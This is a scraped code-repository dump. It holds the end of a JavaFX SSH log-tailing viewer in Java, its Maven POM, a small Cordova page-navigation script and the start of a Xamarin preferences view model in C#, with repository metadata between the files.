message += String.format("\nUser Name : %s", vm.getUserName());
message += String.format("\nType : %s", vm.getType());
System.out.printf("\n%s", message);
Stage stage = new Stage(StageStyle.UTILITY);
VBox vbox = new VBox(10);
vbox.setPadding(new Insets(20));
Label label = new Label(message);
Button btnExit = new Button("OK");
btnExit.setOnAction(e -> {
stage.close();
});
vbox.getChildren().addAll(label, btnExit);
System.out.println(message.length());
stage.setScene(new Scene(vbox, label.getPrefWidth(), 200));
stage.show();
}
}
pane.setSide(Side.TOP);
list.add(pane);
}
return list;
}
public void read(ListView<String> logView, String file, Session session) throws Exception {
StringProperty lines = new SimpleStringProperty();
lines.addListener((observable, oldValue, newValue) -> {
// System.out.println(newValue);
logView.getItems().add(newValue);
// view.getItems().add(newValue);
});
Thread t = null;
ChannelExec channel = (ChannelExec) session.openChannel("exec");
// ((ChannelExec)channel).setCommand("tail -F /opt/java/apache/tomcat/logs/catalina.out");
((ChannelExec) channel).setCommand("tail -F " + file);
((ChannelExec) channel).setErrStream(System.err);
InputStream stream = channel.getInputStream();
channel.setPty(true); // tail will stop when program close.
channel.connect();
System.out.println(channel.isConnected());
t = new Thread(() -> {
BufferedReader br = new BufferedReader(new InputStreamReader(stream));
while (true) {
String line;
try {
line = br.readLine();
lines.setValue(line);
} catch (Exception e) {
e.printStackTrace();
}
}
});
// Starting Thread
t.start();
}
public TabPane geTabPane() {
return this.mainTabPane;
}
}
<file_sep>/pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.benevity</groupId>
<artifactId>LogReader</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name><NAME></name>
<dependencies>
<dependency>
<groupId>com.jcraft</groupId>
<artifactId>jsch</artifactId>
<version>0.1.53</version>
</dependency>
<!-- http://mvnrepository.com/artifact/com.esotericsoftware.yamlbeans/yamlbeans -->
<dependency>
<groupId>com.esotericsoftware.yamlbeans</groupId>
<artifactId>yamlbeans</artifactId>
<version>1.06</version>
</dependency>
</dependencies>
</project> | b8ce3f625fcfb0956d75fabe04244d2506a1386c | [
"Java",
"Maven POM"
] | 3 | Java | dhaliwaljee/myBLogger | 94a5d5238ade3173897463323c9deb4752c9f237 | 444a864d7f00e3ac54e8ec5c5dcf39473e721ba8 |
refs/heads/master | <file_sep>// This is a JavaScript file
function abrirInstitucional(){
navigator.vibrate(2000);
location.href="institucional.html";
}
function abrirMapa(){
navigator.notification.beep(1);
location.href="mapa.html";
};
function abrirCursos(){
location.href="cursos.html";
}
function retornar(){
location.href="index.html";
}
| be2c4fc0b1769386a9f458a459877132b49c85c5 | [
"JavaScript"
] | 1 | JavaScript | anderrf/PrjDivulgaEtec | c1584dd9ab44d44bcedb5ec9b897f29d30ece857 | 5e3efa7b7f85fc7073a57f843fdfc0292abd9e7e |
refs/heads/master | <repo_name>llamle/food_orders<file_sep>/server.js
var express = require('express'),
server = express(),
ejs = require('ejs'),
methodOverride = require('method-override'),
bodyParser = require('body-parser'),
MongoClient = require('mongodb').MongoClient,
ObjectId = require('mongodb').ObjectId,
url = 'mongodb://localhost:27017/menu';
server.set('view engine', 'ejs');
server.set('views', './views');
server.use(express.static('./public'));
server.use(bodyParser.urlencoded({
extended: true
}));
server.use(methodOverride('_method'));
| 2df06cee9f5040e6daf13a459876493739a0379b | [
"JavaScript"
] | 1 | JavaScript | llamle/food_orders | a9f0d3d9b467e2ef4c7897581b6c81c83e3e842c | f67590180f818e1ee458174ed0472610ed5ebd3a |
refs/heads/master | <repo_name>Tmac-Jan/Gradle-builds-Java-projects-2019-7-12-8-47-48-372<file_sep>/src/test/java/Gradle/builds/Java/projects/AppTest.java
/*
* This Java source file was generated by the Gradle 'init' task.
*/
package Gradle.builds.Java.projects;
import org.junit.Test;
import java.util.List;
import static org.junit.Assert.*;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.verify;
public class AppTest {
@Test public void testAppHasAGreeting() {
App classUnderTest = new App();
assertNotNull("app should have a greeting", classUnderTest.getGreeting());
}
@Test
public void testMockClass()throws Exception{
List mockedList = mock(List.class);
mockedList.add("one");
mockedList.add("two");
mockedList.add("two");
mockedList.clear();
verify(mockedList).add("one");//验证是否调用过一次 mockedList.add("one")方法,若不是(0次或者大于一次),测试将不通过
}
}
| aec29845780d380c373be8848d4aa4cd0869a444 | [
"Java"
] | 1 | Java | Tmac-Jan/Gradle-builds-Java-projects-2019-7-12-8-47-48-372 | 7f3517e4eb4d5a591bad82d8b9356b84d2e348b2 | d64685da315999a72a3b681e201f6e55b9615535 |
refs/heads/master | <file_sep>import React from 'react'
import Link from 'gatsby-link'
import logo from '../images/smb-logo.png'
const IndexPage = () => (
<div className="center-wrapper">
<div className="logo-wrapper">
<img src={logo} />
<a href="/about">About Us</a>
</div>
</div>
)
export default IndexPage
<file_sep>import React from 'react'
import PropTypes from 'prop-types'
import Helmet from 'react-helmet'
import 'font-awesome/css/font-awesome.min.css'
import './index.css'
const TemplateWrapper = ({ children }) => (
<div
style={{
backgroundColor: '#fff',
height: '100vh'
}}
>
<Helmet
title="Swiss Master Builders"
meta={[
{
name: 'description',
content: 'Swiss Master Builders - Houston Based Contractors'
},
{
name: 'keywords',
content:
'Construction, Contractors, Houston, Houston Texas, Drywall, commerical interiors, paint, acoustical cielings, framing, demolition, smbuilt, smb, swiss master builders'
}
]}
/>
{children()}
</div>
)
TemplateWrapper.propTypes = {
children: PropTypes.func
}
export default TemplateWrapper
<file_sep>import React from 'react'
import Link from 'gatsby-link'
import logo from '../images/smb-logo.png'
const AboutPage = () => (
<div className="center-wrapper about">
<div className="info">
<div>
<h3><NAME></h3>
<p>
<i className="fa fa-mobile" />
<span>771.528.5718</span>
</p>
<p>
<i className="fa fa-at" />
<span><EMAIL></span>
</p>
</div>
<div>
<h3><NAME></h3>
<p>
<i className="fa fa-mobile" />
<span>832.992.5374</span>
</p>
<p>
<i className="fa fa-at" />
<span><EMAIL></span>
</p>
</div>
</div>
</div>
)
export default AboutPage
| 7d7f4f37b32b25faf50f9d58aa825271eb482ea5 | [
"JavaScript"
] | 3 | JavaScript | narfdre/smb-web | 614cb2392788570fb13ab626abaa029b398776f0 | 057ddc2210c62cc6bc0df7b94244e27718ae83f2 |
refs/heads/master | <repo_name>NEKKO-O/Inem-te-escucha-<file_sep>/bd_inem_te_escucha.sql
-- phpMyAdmin SQL Dump
-- version 5.0.3
-- https://www.phpmyadmin.net/
--
-- Servidor: 127.0.0.1
-- Tiempo de generación: 20-11-2020 a las 22:00:18
-- Versión del servidor: 10.4.14-MariaDB
-- Versión de PHP: 7.2.34
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Base de datos: `inemteescucha`
--
-- --------------------------------------------------------
--
-- Estructura de tabla para la tabla `alertas`
--
CREATE TABLE `alertas` (
`id_alerta` int(11) NOT NULL,
`id_estudiante` int(11) NOT NULL,
`id_profesor` int(11) NOT NULL,
`descAlerta` varchar(45) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- --------------------------------------------------------
--
-- Estructura de tabla para la tabla `estudiantes`
--
CREATE TABLE `estudiantes` (
`id_estudiante` int(11) NOT NULL,
`seccion` varchar(2) NOT NULL,
`grado` varchar(2) NOT NULL,
`nombre` varchar(45) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- --------------------------------------------------------
--
-- Estructura de tabla para la tabla `profesores`
--
CREATE TABLE `profesores` (
`id_profesor` int(11) NOT NULL,
`correo` varchar(45) NOT NULL,
`telefono` varchar(45) NOT NULL,
`bloque` varchar(45) NOT NULL,
`salon` varchar(45) NOT NULL,
`asignatura` varchar(45) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- --------------------------------------------------------
--
-- Estructura de tabla para la tabla `usuarios_estudiantes`
--
CREATE TABLE `usuarios_estudiantes` (
`id_usuario` int(11) NOT NULL,
`codigo` int(11) NOT NULL,
`contraseña` varchar(25) NOT NULL,
`id_estudiante` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- --------------------------------------------------------
--
-- Estructura de tabla para la tabla `usuarios_profesores`
--
CREATE TABLE `usuarios_profesores` (
`id_usuario` int(11) NOT NULL,
`codigo` int(11) NOT NULL,
`contraseña` varchar(25) NOT NULL,
`id_profesor` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Índices para tablas volcadas
--
--
-- Indices de la tabla `alertas`
--
ALTER TABLE `alertas`
ADD PRIMARY KEY (`id_alerta`),
ADD KEY `fk_alertaEstudiante` (`id_estudiante`),
ADD KEY `fk_alertaProfesor` (`id_profesor`);
--
-- Indices de la tabla `estudiantes`
--
ALTER TABLE `estudiantes`
ADD PRIMARY KEY (`id_estudiante`);
--
-- Indices de la tabla `profesores`
--
ALTER TABLE `profesores`
ADD PRIMARY KEY (`id_profesor`);
--
-- Indices de la tabla `usuarios_estudiantes`
--
ALTER TABLE `usuarios_estudiantes`
ADD PRIMARY KEY (`id_usuario`),
ADD KEY `fk_usuarios_estudiantes` (`id_estudiante`);
--
-- Indices de la tabla `usuarios_profesores`
--
ALTER TABLE `usuarios_profesores`
ADD PRIMARY KEY (`id_usuario`),
ADD KEY `fk_usuarios_profesores` (`id_profesor`);
--
-- Restricciones para tablas volcadas
--
--
-- Filtros para la tabla `alertas`
--
ALTER TABLE `alertas`
ADD CONSTRAINT `fk_alertaEstudiante` FOREIGN KEY (`id_estudiante`) REFERENCES `estudiantes` (`id_estudiante`) ON DELETE NO ACTION ON UPDATE NO ACTION,
ADD CONSTRAINT `fk_alertaProfesor` FOREIGN KEY (`id_profesor`) REFERENCES `profesores` (`id_profesor`) ON DELETE NO ACTION ON UPDATE NO ACTION;
--
-- Filtros para la tabla `usuarios_estudiantes`
--
ALTER TABLE `usuarios_estudiantes`
ADD CONSTRAINT `fk_usuarios_estudiantes` FOREIGN KEY (`id_estudiante`) REFERENCES `estudiantes` (`id_estudiante`) ON DELETE NO ACTION ON UPDATE NO ACTION;
--
-- Filtros para la tabla `usuarios_profesores`
--
ALTER TABLE `usuarios_profesores`
ADD CONSTRAINT `fk_usuarios_profesores` FOREIGN KEY (`id_profesor`) REFERENCES `profesores` (`id_profesor`) ON DELETE NO ACTION ON UPDATE NO ACTION;
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep>/backend/contenedor.js
const mysql = require('mysql')
const coneccion = mysql.createConnection({
host:'localhost',
user:'root',
password:'',
database:'inemtecuida'
});
coneccion.connect(err => {
console.log('Base de datos corriendo');
})
module.exports = coneccion; | b1a795e0a670e61133343113e9d33851f1537f20 | [
"JavaScript",
"SQL"
] | 2 | SQL | NEKKO-O/Inem-te-escucha- | bf68bc69cf1817620dcd380ad9336212d84425da | bcec251951b0bb3a2b65930e30f2fe74cd3b2fb0 |
refs/heads/master | <repo_name>Jeremyg71089/Shmunk<file_sep>/Assets/TurretAttack.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class TurretAttack : MonoBehaviour {
public float timeBetweenShots;
public GameObject bulletPrefab;
private float timeSinceLastFire;
public GameObject target;
public float bulletspeed;
// Use this for initialization
void Start () {
timeSinceLastFire = 0;
}
// Update is called once per frame
void Update () {
if (timeSinceLastFire < timeBetweenShots) {
timeSinceLastFire += Time.deltaTime;
}
else {
fire ();
timeSinceLastFire = 0;
}
}
void fire() {
GameObject bullet = GameObject.Instantiate (bulletPrefab,gameObject.transform.position,
gameObject.transform.rotation);
//bullet.transform.LookAt(target.transform);
print(target.transform.position.x + " " + target.transform.position.y);
bullet.GetComponent<Rigidbody2D> ().velocity = (bullet.transform.forward.normalized) *bulletspeed;
}
}
<file_sep>/Assets/Scripts/PlayerStats.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerStats : BasicStats {
private float shield;
private float rateOfFire;
// Use this for initialization
void Start () {
maxHealth = 100.0f;
currentHealth = maxHealth;
}
// Update is called once per frame
void Update () {
}
}
<file_sep>/Assets/Scripts/PlayerMovement.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerMovement : MonoBehaviour {
public float speed;
private Transform t;
private Vector3 mov;
private Rigidbody2D rb;
// Use this for initialization
void Start () {
t = this.gameObject.transform;
mov = Vector3.zero;
rb = this.GetComponent<Rigidbody2D> ();
}
// Update is called once per frame
void Update () {
rb.velocity = Vector2.zero;
if (Input.GetKey (KeyCode.W)) {
rb.velocity = Vector2.up * speed;
//mov = Vector3.up * speed;
}
else if (Input.GetKey (KeyCode.S)) {
rb.velocity = Vector2.down * speed;
//mov = Vector3.up * (-1 * speed);
}
else if (Input.GetKey (KeyCode.A)) {
rb.velocity = Vector2.left * speed;
//mov = Vector3.right * (-1 * speed);
}
else if (Input.GetKey (KeyCode.D)) {
rb.velocity = Vector2.right * speed;
//mov = Vector3.right * speed;
}
/*t.position += mov;
mov = Vector3.zero;*/
}
}
<file_sep>/Assets/Scripts/PlayerAttack.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerAttack : MonoBehaviour {
private Transform t;
public GameObject laserPrefab;
public float laserSpeed;
public Transform laserSpawn;
public float rateOfFire;
private bool canFire;
float timeSinceLastFire;
void Start () {
t = this.gameObject.transform;
canFire = true;
timeSinceLastFire = 0.0f;
}
// Update is called once per frame
void Update () {
if (Input.GetKey (KeyCode.LeftArrow)) {
t.rotation = Quaternion.Euler (0, 0, 90);
if (canFire) {
fire (Vector2.left);
canFire = false;
}
}
else if (Input.GetKey (KeyCode.RightArrow)) {
t.rotation = Quaternion.Euler (0, 0, -90);
if (canFire) {
fire (Vector2.right);
canFire = false;
}
}
else if (Input.GetKey (KeyCode.DownArrow)) {
t.rotation = Quaternion.Euler (0, 0, 180);
if (canFire) {
fire (Vector2.down);
canFire = false;
}
}
else if (Input.GetKey (KeyCode.UpArrow)) {
t.rotation = Quaternion.Euler (0, 0, 0);
if (canFire) {
fire (Vector2.up);
canFire = false;
}
}
if (!canFire) {
timeSinceLastFire += Time.deltaTime;
if (timeSinceLastFire > (5.0f / rateOfFire)) {
canFire = true;
timeSinceLastFire = 0;
}
}
}
void fire(Vector2 v){
GameObject laser = GameObject.Instantiate (laserPrefab,laserSpawn.position,laserSpawn.rotation);
laser.GetComponent<Rigidbody2D> ().velocity = v * laserSpeed;
}
}
<file_sep>/Assets/Scripts/BasicStats.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class BasicStats : MonoBehaviour {
protected float maxHealth;
protected float currentHealth;
private bool dead;
// Use this for initialization
void Start () {
dead = false;
}
protected bool isDead(){
return dead;
}
protected void takeDamage(float damage){
currentHealth = currentHealth - damage;
if (currentHealth <= 0) {
dead = true;
}
}
}
<file_sep>/Assets/Scripts/EnemyStats.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class EnemyStats : BasicStats {
public float mH;
// Use this for initialization
void Start () {
maxHealth = mH;
currentHealth = mH;
}
// Update is called once per frame
void Update () {
if (isDead()) {
Destroy (gameObject);
}
}
void OnTriggerEnter2D(Collider2D other){
takeDamage (10.0f);
}
}
| 23fab1c9048cbceb3fe74eab358a18a82d5dd7f0 | [
"C#"
] | 6 | C# | Jeremyg71089/Shmunk | b01e53ab7a7cf4728462a758f048e96963e57a3d | 7df2b63cad821681004ee3c113f5ec0b1273bac5 |
refs/heads/main | <file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class LevelsPicker : MonoBehaviour
{
public void OnLevelButtonClick()
{
//тк у меня толко один уровень, то идем на него
//позже сделать переход по тексту в кнопке
Loader.Load(Loader.Scene.FirstLevel);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class LearnScript : MonoBehaviour
{
private KeyCode activateButton;
private bool active = true;
// Start is called before the first frame update
void Start()
{
//получаем кнопку назала игры
activateButton = LevelController.LC.startButton;
}
// Update is called once per frame
void Update()
{
if (Input.GetKeyDown(activateButton) && active)
{//если она нажата - убираем подсказки
transform.Find("Learn").gameObject.SetActive(false);
active = false;
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class ButtonController : MonoBehaviour
{
private SpriteRenderer theSR;
//public Sprite defaultImage;
//public Sprite pressedImage;
private enum TileStateWord
{
NotActive,
ButtonBlocked,
ButtonUnblocked,
TilePressed,
SliderPressed,//отдельное состояние под слайдер для его отслеживания
}
public KeyCode keyToPress;
public Color defaultColor = new Color(1f, 1f, 1f);
public Color pressedColor = new Color(0.7f, 0.7f, 0.7f, 0.7f);
public bool ButtonPressed; //нажата кнопка сейчас или нет (хотя ля, можно же клавишу отслеживать...)
private float CurrSlideTime;
private TileStateWord TSW;
void Start()
{
theSR = GetComponent<SpriteRenderer>();
}
// Update is called once per frame
void Update()
{
if (Input.GetKeyDown(keyToPress))
{
theSR.color = pressedColor; //немного "анимации" для нажимающихся кнопОчек
ButtonPressed = true;
}
if (Input.GetKeyUp(keyToPress))
{
theSR.color = defaultColor;
ButtonPressed = false;
}
}
private void OnTriggerEnter2D(Collider2D note)
{
if (ButtonPressed)//если во время "входа" плашки кнопка нажата
{
TSW = TileStateWord.ButtonBlocked;//то она блокируется до ее отжатия и повторного нажатия
}//крч не выйдет просто зажать все кнопки и выиграть
else
{
TSW = TileStateWord.ButtonUnblocked;
}
if (note.gameObject.CompareTag("Slider")) {
CurrSlideTime = LevelController.LC.SliderTimeDelay;
//Debug.Log(CurrSlideTime);//сброс переменных про слайдерам
}
if (note.gameObject.CompareTag("End"))
{
LevelController.LC.EndMap();
}
}
private void OnTriggerStay2D(Collider2D note)
{
//Debug.Log(TSW);
if (!ButtonPressed && TSW == TileStateWord.ButtonBlocked)
{
TSW = TileStateWord.ButtonUnblocked; //снятие блокировки
}
if (TSW == TileStateWord.ButtonUnblocked && ButtonPressed)//при разблокированной и нажатой кнопке активируем тайл
{
TSW = TileStateWord.TilePressed;
}
if (note.gameObject.CompareTag("Slider")) //блок обработки слайдеров
{
//Debug.Log("72");
if (TSW < TileStateWord.TilePressed)//если слайдер не нажат
{
//Debug.Log("75");
CurrSlideTime -= Time.deltaTime; //даем игроку время на нажатие слайдера
if (CurrSlideTime <= 0) //если оно истекает - промах
{
//Debug.Log("79");
TSW = TileStateWord.NotActive;
LevelController.LC.NoteMissed(note);
}
}
else
{
//Debug.Log("86");
TSW = TileStateWord.SliderPressed;// когда игрок зажал слайдер - начинаем это отслеживать
};
if(TSW == TileStateWord.SliderPressed && !ButtonPressed) //если слайдер отпущен раньше времени - промах
{ //в будущем нужно дать возможность отпустить слайдер раньше времени, ухудшая показатель точности
//Debug.Log("91");
TSW = TileStateWord.NotActive;
LevelController.LC.SliderUnpressed(note);
}
}
if(note.gameObject.CompareTag("Note"))//блок обработки нот
{
if (TSW == TileStateWord.TilePressed)
{
//Debug.Log("103");
TSW = TileStateWord.NotActive;
LevelController.LC.NotePressed(note);
}
}
}
private void OnTriggerExit2D(Collider2D note)
{
if(note.gameObject.CompareTag("Note") && TSW > 0)
{
LevelController.LC.NoteMissed(note);
}
if(note.gameObject.CompareTag("Slider") && TSW > 0)
{
//Debug.Log("117");
if (TSW == TileStateWord.SliderPressed)
{
//Debug.Log("120");
//удаление ноты (будет более подробная обработка нажатия)
LevelController.LC.NotePressed(note);
}
else
{
//Debug.Log("126");
//удаление ноты (будет более подробная обработка нажатия)
LevelController.LC.NoteMissed(note);
}
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
using System;
public class LevelController : MonoBehaviour
{
// Start is called before the first frame update
public static LevelController LC; //чтобы мы не создавали сотни копий скрипта
public float SliderTimeDelay;
public float tempo;
public KeyCode startButton; // кнопка начала движения
public KeyCode pauseButton; // кнопка паузы
private bool Playing;
public AudioSource Music;
public float MusicDelay;
public float MapDebug;
public Text CurrentCombotxt;
public Text MaxCombotxt;
public Text CurrentScoretxt;
//счетчики очков
private int PerfectCounter = 0;
private int GoodCounter = 0;
private int NormalCounter = 0;
private int MissedCounter = 0;
//количество очков за категорию
private double PerfectScore = 0;
private double GoodScore = 0;
private double NormalScore = 0;
private int currentCombo;
private int maxCombo;
public double currentScore = 0;
private int tilesNumber;
private Transform StarHolder;
void Awake()
{
LC = this;
}
private void Start()
{
StarHolder = transform.Find("StarHolder");
}
public void SetScoresAmount(int num)
{
tilesNumber = num-1;
PerfectScore = 1000000.0 / (double)tilesNumber;
GoodScore = PerfectScore * 0.75;
NormalScore = PerfectScore * 0.5;
Debug.Log(PerfectScore);
Debug.Log(GoodScore);
Debug.Log(NormalScore);
}
// Update is called once per frame
void Update()
{
if (!Playing)
{
if (Input.GetKeyDown(startButton))
{
Playing = true; // начинаем движение при нажатии старт кнопки
ArrowHolder.AH.playable = true;
if (MapDebug>0)
{
Music.Play();
Music.time += MapDebug;
ArrowHolder.AH.Debug(MapDebug);
ArrowHolder.AH.Debug(MusicDelay);
}
else
{
Music.PlayDelayed(MusicDelay);
}
}
}
if (Input.GetKeyDown(pauseButton))
{
Pause();
}
}
public void SliderUnpressed(Collider2D note)
{
double yRange = note.gameObject.transform.position.y + (note.GetComponent<BoxCollider2D>().size.y * note.gameObject.transform.localScale.y) / 2.0;
Debug.Log("unpressed " + note.tag + " " + yRange);
if(yRange < 0.35 && yRange > 0.25)
{
NoteNormal();
}
else if(yRange <= 0.25 && yRange > 0.15)
{
NoteGood();
}
else if(yRange <= 0.15)
{
NotePerfect();
}
else
{
NoteMissed(note);
}
}
public void NotePressed(Collider2D note)
{
double yRange = note.gameObject.transform.position.y + (note.GetComponent<BoxCollider2D>().size.y * note.gameObject.transform.localScale.y) / 2.0;
if (note.gameObject.CompareTag("Slider"))
{
Debug.Log("pressed " + note.tag + " " + yRange);
NotePerfect();//если слайдер не отпускали - все отлично
}
else if (note.gameObject.CompareTag("Note"))
{
Debug.Log("pressed " + note.tag + " " + yRange);
yRange = Math.Abs(yRange);
if (yRange < 0.25 && yRange > 0.15)
{
NoteNormal();
}
else if (yRange <= 0.15 && yRange > 0.09)
{
NoteGood();
}
else if (yRange <= 0.09)
{
NotePerfect();
}
}
note.gameObject.SetActive(false);
currentCombo++;
DrawCombo();
}
public void NoteMissed(Collider2D note)
{
double yRange = note.gameObject.transform.position.y + (note.GetComponent<BoxCollider2D>().size.y * note.gameObject.transform.localScale.y) / 2.0;
if (note.gameObject.CompareTag("Slider"))
{
Debug.Log("fail " + note.tag + " " + yRange);
}
else if (note.gameObject.CompareTag("Note"))
{
Debug.Log("fail " + note.tag + " " + yRange);
}
note.gameObject.SetActive(false);
MissedCounter++;
currentCombo = 0;
DrawCombo();
}
public void Pause()
{
//ArrowHolder.AH.pauseChange(Music);
}
private void NotePerfect()
{
Debug.Log("perfect");
PerfectCounter++;
currentScore += PerfectScore;
DrawScore();
}
private void NoteGood() {
Debug.Log("good");
GoodCounter++;
currentScore += GoodScore;
DrawScore();
}
private void NoteNormal()
{
Debug.Log("normal");
NormalCounter++;
currentScore += NormalScore;
DrawScore();
}
public void EndMap()
{
Debug.Log("Perfect: "+ PerfectCounter +"\nGood: " + GoodCounter + "\nNormal: " + NormalCounter + "\nMissed: " + MissedCounter);
DontDestroyOnLoad(gameObject);
Loader.Load(Loader.Scene.ResultScene);
Music.Stop();
}
private void DrawCombo()
{
if (currentCombo > maxCombo)
{
maxCombo = currentCombo;
MaxCombotxt.text = "Max combo: " + maxCombo;
}
CurrentCombotxt.text = "Current combo: " + currentCombo;
}
private void DrawScore()
{
//Debug.Log(currentScore);
int currentscore = (int)Math.Ceiling(currentScore);
CurrentScoretxt.text = "Score: " + currentscore;
ActivateStar(StarHolder, currentscore);
}
public int[] GetScores()
{ //передаем значения, полученные в ходе игры
int[] scoresArr = new int[5] { PerfectCounter, GoodCounter, NormalCounter, MissedCounter, (int)currentScore};
gameObject.SetActive(false);
return scoresArr;
}
private void ActivateStar(Transform StarHolder, int totalScore)
{
if (totalScore > 350000)
{
StarHolder.GetChild(0)
.GetComponent<SpriteRenderer>().color = new Color(1f, 0.84f, 0f);
}
if (totalScore > 500000)
{
StarHolder.GetChild(1)
.GetComponent<SpriteRenderer>().color = new Color(1f, 0.84f, 0f);
}
if (totalScore > 700000)
{
StarHolder.GetChild(2)
.GetComponent<SpriteRenderer>().color = new Color(1f, 0.84f, 0f);
}
if (totalScore > 850000)
{
StarHolder.GetChild(3)
.GetComponent<SpriteRenderer>().color = new Color(1f, 0.84f, 0f);
}
if (totalScore > 910000)
{
StarHolder.GetChild(4)
.GetComponent<SpriteRenderer>().color = new Color(1f, 0.84f, 0f);
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Threading;
using UnityEngine;
public class ArrowHolder : MonoBehaviour
{
private float BPM; // скорость движения в ударах в минуту
public bool playable; // движутся плитки в данный момент или нет
public static ArrowHolder AH;
private bool pauseToggle = false;
void Start()
{
AH = this;
playable = false;
BPM = LevelController.LC.tempo / 60f;
int childNum = transform.childCount;
LevelController.LC.SetScoresAmount(childNum);
}
// Update is called once per frame
void Update()
{
if(playable)
{
transform.position = transform.position - new Vector3(0f, BPM * Time.deltaTime, 0f); // приращиваем к У координате смещение вниз
}
}
public void pauseChange(AudioSource Music)
{
// установка "паузы"
pauseToggle = !pauseToggle;
if (pauseToggle)
{
playable = false;
transform.position += new Vector3(0f, BPM , 0f); //отодвигаем плитки повыше "как в пианисте"
Music.Pause();
Music.time -= 1f;
}
else
{
playable = true;
Music.UnPause();
}
}
public void Debug(float time)
{
transform.position -= new Vector3(0f, BPM*time, 0f);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class ResultSceneController : MonoBehaviour
{
private int[] results = new int[5];
public Text Score;
public Text ScoresTable;
// Start is called before the first frame update
void Start()
{
results = LevelController.LC.GetScores();
int perfectCount = results[0];
int goodCount = results[1];
int normalCount = results[2];
int missedCount = results[3];
int totalScore = results[4];
Transform StarHolder = transform.Find("StarHolder");
Score.text = "Score :" + totalScore;
ScoresTable.text = "Perfect: " + perfectCount + "\nGood: " + goodCount + "\nNormal: " + normalCount + "\nMissed: " + missedCount;
ActivateStar(StarHolder, totalScore);
}
private void ActivateStar(Transform StarHolder, int totalScore)
{
if (totalScore > 350000)
{
StarHolder.GetChild(0)
.GetComponent<SpriteRenderer>().color = new Color(1f, 0.84f, 0f);
}
if(totalScore > 500000)
{
StarHolder.GetChild(1)
.GetComponent<SpriteRenderer>().color = new Color(1f, 0.84f, 0f);
}
if(totalScore > 700000)
{
StarHolder.GetChild(2)
.GetComponent<SpriteRenderer>().color = new Color(1f, 0.84f, 0f);
}
if(totalScore > 850000)
{
StarHolder.GetChild(3)
.GetComponent<SpriteRenderer>().color = new Color(1f, 0.84f, 0f);
}
if(totalScore > 910000)
{
StarHolder.GetChild(4)
.GetComponent<SpriteRenderer>().color = new Color(1f, 0.84f, 0f);
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class MenuController : MonoBehaviour
{
//сцена главного меню
public void OnLevelButtonClick()
{
Loader.Load(Loader.Scene.Levels);
}
public void OnCreditsButtonClick()
{
transform.Find("Panel").gameObject.SetActive(true);
}
public void OnCreditsCloseButtonClick()
{
transform.Find("Panel").gameObject.SetActive(false);
}
public void OnExitButtonClick()
{
Application.Quit();
}
//общая кнопка выхода в меню
public void OnMenuButtonClick()
{
Loader.Load(Loader.Scene.MainMenu);
}
}
| 8e16095c76b044a6ccc8a6fabbf5b4c230e7ecff | [
"C#"
] | 7 | C# | ElPresedente/test_proj | 9ff04c46d96a8af7cd3a2c5b827629d32cb26f99 | ff7a1092040bcac2366933e93b4a4bce09046690 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Input;
using GSK_Saftey.Helpers.ImageService;
using GSK_Saftey.Helpers.SQLite.SQLiteModels;
using GSK_Saftey.MessageHubMessages;
using GSK_Saftey.Pages.PopUps;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using Plugin.Media;
using Plugin.Media.Abstractions;
using Rg.Plugins.Popup.Services;
using Xamarin.Forms;
using XFBase.Messages;
namespace GSK_Saftey.Pages
{
public class PreferencePageViewModel : BaseViewModel
{
private List<string> languagePickerSource = new List<string> { "English", "French" };
private string selectedLanguage;
private List<string> healthManagePickerSource = new List<string>() { "Technical / Technical Other", "Other" };
private List<string> locationPickerSource = new List<string> { "SAP Location", "Other" };
private string selectedHealthManager;
private string selectedLocation;
private string organizationUnit;
private string userName;
private Preference preferences;
#region Properties
public ICommand ButtonSaveCommand { get; private set; }
public string UserName
{
get { return userName; }
set
{
if (userName != value)
{
userName = value;
OnPropertyChanged(nameof(UserName));
}
}
}
public string OrganizationUnit
{
get { return organizationUnit; }
set
{
if (organizationUnit != value)
{
organizationUnit = value;
OnPropertyChanged(nameof(OrganizationUnit));
}
}
